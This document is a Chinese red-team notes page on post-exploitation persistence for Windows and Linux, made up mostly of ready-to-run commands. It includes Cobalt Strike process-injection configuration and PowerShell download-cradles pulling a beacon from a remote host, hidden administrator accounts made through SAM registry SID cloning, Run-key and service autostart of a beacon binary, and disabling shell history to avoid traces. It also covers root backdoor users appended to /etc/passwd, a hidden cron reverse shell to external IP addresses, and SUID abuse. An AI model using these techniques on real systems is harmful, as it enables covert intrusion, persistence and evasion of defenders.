权限维持
- date
- 2024-09-15 21:23:28
windows
进程迁移
进程迁移(也叫进程注入)是说当一个程序运行时本身没有一个独立的进程,而是通过相关技术把功能注入到某一个正在运行的进程当中,使运行的程序在进程列表当中无法查看到,这样就起到了利用已存在的进程来隐藏自身进程的作用,并且在权限维持的角度而言也起到了一定的作用。
进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。
所以说 "进程迁移" 的目的是为了 "隐蔽" 自身,不被发现,从而实现 "权限维持"。
进程迁移常用于 windows server 版本,因为其通常不容易重启,PC 机则不常用。
注入的进程通常是 explorer.exe ( 资源管理器 ),或者是其他会一直存在的进程如 web 服务器等。
进程注入可以分为 2 种形式:
- DLL 注入
- shellcode 注入
这两种方式没有本质上的区别,在操作系统层面,dll 也是 shellcode 汇编代码。为了开发方便,白帽子常常会将代码以 dll 的形式编译并传播,在实际注入的时候,由注入方或者被注入方调用 loadlibrary 加载。
CobaltStrike 中的进程迁移:
名词说明:Post-Exploitation Jobs ( Process Execution + Remote Process Injection )( 进程执行 + 远程进程注入)
CobaltStrike 在一些地方产生进程注入的行为。例如它通过 spawn 和 migrate 迁移到一个新的进程。虽然这些是攻击链的重要组成部分,但这些行为都可以由使用者通过 Artifact Kit、Applet Kit 和 Resource Kit 自行控制。这 3 个的具体介绍:
Cobalt Strike 的许多 Post-Exploitation Jobs 行为都产生了一个临时过程,将特定的 DLL 注入到该进程,并通过命名管道获取结果。这是进程注入的一个特例。在这些情况下,我们控制临时过程。我们知道这个过程除了我们的进攻行为之外没有任何目的。这使我们可以做更积极的事情。例如,我们可以接管这些临时进程的主线程,而不必担心将其归还。这是在 Cobalt Strike 中配置进程注入时要记住的一个重要细节。
在 Malleable C2 profile 文件,使用者可以通过配置从而控制 CobaltStirke 中进程注入的一些细节。
| process-inject {
# set remote memory allocation technique
# 设置远程内存分配的技术类型
# 补充说明:NtMapViewOfSection 是一个 ring3 层的未公开函数
set allocator "NtMapViewOfSection";
# shape the content and properties of what we will inject
# 塑造我们将注入的内容和属性
set min_alloc "16384";
set userwx "false";
transform-x86 {
prepend "\x90";
}
transform-x64 {
prepend "\x90";
}
# specify how we execute code in the remote process
# 指定我们如何在远程进程中执行代码
execute {
CreateThread "ntdll!RtlUserThreadStart"; #RtlUserThreadStart 函数是线程真正开始执行的地方
CreateThread;
NtQueueApcThread-s;
CreateRemoteThread;
RtlCreateUserThread;
}
}
|
进程注入的步骤:
- Open a handle to the remote process 打开远程进程的句柄
- Allocate memory in the remote process 在远程进程中分配内存
- Copy the injected data to the remote process 将注入的数据复制到远程进程
- Ask the remote process to execute our injected code 让远程进程执行我们注入的代码
CobaltStrike 中进程注入的使用:
命令行查找:
| shell tasklist /fi "IMAGENAME eq explorer.exe"
|
通过 CobaltStrike 的进程列表:
使用 inject 注入进程:
| beacon> help inject
Use: inject [pid] <x86|x64> [listener]
Open the process and inject shellcode for the listener
|
注入进程:
成功上线:
psinject 注入进程:
psinject 是 cs4.0+版本才出现的,使用的是 one-liner payload 注入进程它向特定进程中注入非托管 PowerShell 并通过其执行指定的命令对于 psinject,x64 进程可以注入 x86/x64 的 payload,x86 进程只能注入 x86 。
| beacon> help psinject
Use: psinject [pid] [arch] [commandlet] [arguments]
Inject Unmanaged PowerShell into a specific process and execute the
specified command. Any cmdlets from the last use of powershell-import are
available here too.
|
| psinject [pid] [arch] [commandlet] [arguments]
进程 PID 架构位数 命令集 参数
|
使用 生成一个 powershell 的 payload,然后使用 psinject 去实现注入执行:
| psinject 2068 x64 powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.142.144:8000/beacon.ps1'))"
psinject 2068 x64 powershell -nop -exec bypass -EncodedCommand IElFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoJ2h0dHA6Ly8x
OTIuMTY4LjE0Mi4xNDQ6ODAwMC9iZWFjb24ucHMxJykpCg==
|
shinject 的使用:
| beacon> help shinject
Use: shinject [pid] <x86|x64> [/path/to/my.bin]
Open the process and inject shellcode into it
|
| shinject 进程 PID 架构位数 shellcode.bin 文件的本地路径
|
| shinject 2068 x64 C:\Users\Administrator\Desktop\beacon.dll
|
BOFs 进程注入:
https://github.com/leftp/BOFs
| git clone https://github.com/leftp/BOFs
|
CobaltStrike 导入 syscalls_shinject 和 syscalls_inject 的 cna 插件就行了。
使用方法:
| syscalls_shinject 1432 C:\Users\Administrator\Desktop\beacon.dll
static_syscalls_inject 1432 http
|
隐蔽账户
远程登录是单个的,一个用户一个,本地用户正在使用,我们远程连接时候对方就会锁屏,所以还是需要创建新用户。
但是创建新用户也很出现一个问题,连接后就有连接记录了:
用户名后添加 $ 符号表示创建隐藏账号:
| net user admin$ QWEasd@123 /add && net localgroup administrators admin$ /add
# 域用户
net user admin$ QWEasd@123 /add /domain && net localgroup administrators admin$ /add
net group "Domain Admins" username /add /domain
net localgroup administrators /add <DOMAIN>\<USERNAME>
|
开启远程桌面:
| wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
netstat -an|find "3389"
|
开启防火墙:
| netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
|
添加用户到远程桌面组:
| # 添加用户到远程登陆组
net localgroup "Remote Desktop Users" admin$ /add
# 查看
net localgroup "Remote Desktop Users"
|
全部整理为一行:
| net user admin$ QWEasd@123 /add && net localgroup administrators admin$ /add && net localgroup "Remote Desktop Users" admin$ /add && net localgroup "Remote Desktop Users" && netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow || wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 || reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
|
创建后使用 net user 是无法看到的:
但是这种情况下,用户注销之后在登录界面是可以看到有这个账户的登录的。
对于这种情况可以做进一步的隐藏,具体步骤:
- 添加用户
- 导出注册表
- 删除用户
- 导入注册表
- 修改注册表
导出注册表
| HKEY_LOCAL_MACHINE\SAM\SAM
|
默认应该是空的,所以需要添加权限( 我们自己就可以添加 ),点击 SSM 右键权限:
| Domains\Account\Users\Names
|
右键导出 Names 下的 admin$ 和其类型对应的 000003E8 文件夹的 reg( 桌面是不互通的 ) :
删除用户
这个时候注册表就没有了。
导入注册表
运行刚才导入的两个 reg 文件。
修改注册表
找到 administrator 用户的 SID 复制下来替换我们的 admin$ 的 SID
这个时候登录界面的 admin$ 就消失了,我们可以直接通过远程桌面进行登录。
远程登录后会直接进入到 administrator 用户的界面,注意默认情况下,可能只运行一个远程连接,你连接进去可能就是别人正在操作。
注册表自启动
注册表相当于Windows下的一个庞大的层次性数据库. 基本上有着系统所有的配置信息 注册表是windows操作系统中的一个核心数据库,其中存放着各种参数,直接控制着wi ndows 的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系 统中起着核心作用。
注册表的构成:
- 根键:这个称为HKEY…………,某一项的句柄项:附加的文件夹和一个或多个值
- 子项:在某一个项(父项)下面出现的项(子项)
- 值项:带有一个名称和一个值的有序值,每个项都可包括任何数量的值项,值项由三个部分组成:名称、数据类型和数据。
注册表的五大跟键:
- HKEY_USERS:保存了存放在本地计算机口令列表中的用户标识和密码列表
- HKEY_CURRENT_USER:该根键包含了本地工作站中存放的当前登录的用户信息
- HKEY_CURRENT_CONFIG:该根键存放着当前用户桌面配置的数据
- HKEY_CLASSES_ROOT:该根键根据windows操作系统中所安装的应用程序的扩展名,来指定文件类型
- HKEY_LOCAL_MACHINE:该根键存放本地计算机的硬件信息
启动注册表:regedit
注册表自启动的实现原理:
windows 提供了专门的开机自启动注册表。在每次开机完成后,它都会在这个注册表键下遍历键值,以获取键值中的程序路径,并创建进程启动程序。所以,只需要在这个注册表键下添加想要设置自启动程序的路径就可以了。
| # 当前用户即可
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
# 需要有管理员权限
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
右键添加一个字符串值,值就是要启动的木马文件:
使用命令添加:
| # reg add KeyName /v ValueName /t Type /d Data /f
# reg add 键名 /v 值项名 /t 值项类型 /d 值项数据 /f(强制,不显示选项)
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v testReg1 /t REG_SZ /d "C:\Users\Administrator\Desktop\beacon_64.exe" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v testReg2 /t REG_SZ /d "C:\Users\Administrator\Desktop\beacon_64.exe" /f
# 删除
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v testReg1 /f
|
服务自启动
服务是一种应用程序类型,它在后台运行。服务应用程序通常可以在本地和通过网络为用户提供一些功能,例如客户端/服务器应用程序、Web 服务器、数据库服务器以及其他基于服务器的应用程序。
启动服务命令:services.msc
想要操作服务需要有管理员权限,在服务启动后会以本地系统权限(system)执行。
如果帐户具有本地管理员特权,则可以从命令提示符创建服务。参数“ binpath ”用于执行任意有效负载,而参数“ auto ”用于确保恶意服务将自动启动。
使用 sc 创建服务:
| # 创建服务
sc create "scAutoRunTest" binpath= "cmd /c start /b C:\Users\Public\scAutoRunTest.exe"
# 设置对服务的描述
sc description "scAutoRunTest" "scAutoRunTest"
# 设置这个服务为自动启动
sc config "scAutoRunTest" start=auto
# 启动服务
net start "scAutoRunTest"
sc start "scAutoRunTest"
# 查询服务
sc qc scAutoRunTest
# 删除服务
sc delete scAutoRunTest
|
| sc create "scAutoRunTest" binpath= "cmd /c start /b C:\Users\Administrator\Desktop\beacon_64.exe"&&sc description "scAutoRunTest" "scAutoRunTest"&&sc config "scAutoRunTest" start=auto&&sc start "scAutoRunTest"
|
使用 powershell 创建服务:
| # 创建服务
powershell.exe New-Service -Name "scAutoRunTest" -BinaryPathName 'cmd /c start /b C:\Users\Administrator\Desktop\beacon_64.exe' -Description "scAutoRunTest" -StartupType Automatic
# 查询(sc的也可以)
powershell.exe Get-Service -DisplayName "scAutoRunTest"
# 启动服务
sc start "scAutoRunTest"
# 删除 (Remove-Service-name有版本限制, 故不常用)
powershell.exe Remove-Service-name "scAutoRunTest"
|
SharPersist 创建系统服务( Cobalt Strike 中的 )=> 没复现成功:
SharPersist 支持在系统中创建新服务的持久性技术。在系统上安装新服务需要本地管理员的访问权限,该服务将在 Windows 启动后以本地系统执行。
| # 添加 SC 服务
execute-assembly C:\Users\Administrator\Desktop\artifact.exe -t service -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Public\scAutoRunTest.exe" -n "scAutoRunTest" -m add
# 查询 SC 服务
execute-assembly /root/SharPersist.exe -t service -m list -n "scAutoRunTest"
# 删除 SC 服务
execute-assembly /root/SharPersist.exe -t service -n "scAutoRunTest" -m remove
|
linux
隐蔽操作
进入 linux 系统第一步,设置不记录系统命令:
| unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
nohup command >/dev/null 2>&1 &
|
SSH 连接隐身:
| ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i
|
清除当前历史记录:
| # 清楚当前会话的命令历史记录
history -r
# 或者 不给当前的shell留时间去处理,内存的命令也没时间写入到文件
kill -9 $$
|
添加用户
tommy
QWEasd@123
| echo "tommy:x:0:0::/:/bin/bash" >> /etc/passwd
echo "tommy:x:0:0:root:/root:/bin/bash" >> /etc/passwd
echo "QWEasd@123" | passwd --stdin tommy
echo -e "QWEasd@123\nQWEasd@123" | passwd tommy
echo "tommy:x:0:0::/:/bin/bash" >> /etc/passwd && echo -e "QWEasd@123\nQWEasd@123" | passwd tommy
useradd -p `openssl passwd -1 -salt 'salt' QWEasd@123` tommy -o -u 0 -g root -G root -s /bin/bash -d /home/tommy
|
计划任务
| # 反弹 shell 脚本
vim /etc/.bshell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/45.32.179.170/3333 0>&1
#!/bin/bash
if ! ps aux | grep -q "[s]liver"; then
/usr/bin/sliver
fi
chmod +x /etc/.bshell.sh
vim /etc/crontab
echo "*/10 * * * * root /etc/.bshell.sh" >> /etc/crontab
|
| #!/bin/bash
/bin/bash -i >& /dev/tcp/136.244.76.249/443 0>&1
|
SUID
原理就是 SUID 提权,给 find 或其他命令加权限
| chmod +s /usr/bin/find
find /etc/passwd -exec "command" \;
|